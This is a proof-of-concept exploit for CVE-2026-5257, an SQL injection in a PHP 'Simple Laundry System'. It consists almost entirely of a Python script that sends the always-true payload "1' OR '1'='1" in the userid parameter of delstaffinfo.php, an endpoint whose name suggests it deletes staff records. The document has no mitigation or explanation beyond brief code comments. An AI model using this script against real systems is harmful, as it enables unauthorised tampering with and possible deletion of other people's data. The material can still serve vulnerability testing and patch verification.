CVE-2026-5257 Simple Laundry System SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://localhost/Simple-Laundry-System/delstaffinfo.php" # Malicious payload to test SQL Injection # This payload attempts to make the SQL statement always evaluate to true payload = "1' OR '1'='1" params = { "userid": payload } try: response = requests.get(target_url, params=params) if response.status_code == 200: print("[+] Request sent successfully. Check application response for SQL errors or behavior changes.") print("[+] Response body:") print(response.text[:500]) # Truncate for display else: print("[-] Target unreachable or returned non-200 status code.") except Exception as e: print(f"[!] An error occurred: {e}")